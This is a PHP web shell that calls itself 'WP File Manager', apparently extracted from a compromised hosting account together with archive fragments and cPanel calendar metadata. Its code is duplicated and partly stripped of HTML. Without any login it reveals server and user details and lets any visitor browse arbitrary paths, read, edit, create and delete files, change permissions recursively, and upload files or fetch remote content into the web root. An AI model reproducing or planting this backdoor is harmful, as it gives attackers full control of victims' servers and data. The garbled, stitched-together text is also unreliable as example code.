'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]Ak†BBinfo@dumoshi.com/.metadatanu„[µü¤[calendar] type VCALENDAR protected 1 description Default Calendar automatically created for your account. calendar-color #ff6c2c displayname cPanel CalDAV Calendar [addressbook] type VADDRESSBOOK displayname cPanel CardDAV Address Book description Default Address Book automatically created for your account. protected 1 PK“&{]„N9³§Ë§Ëinfo@dumoshi.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
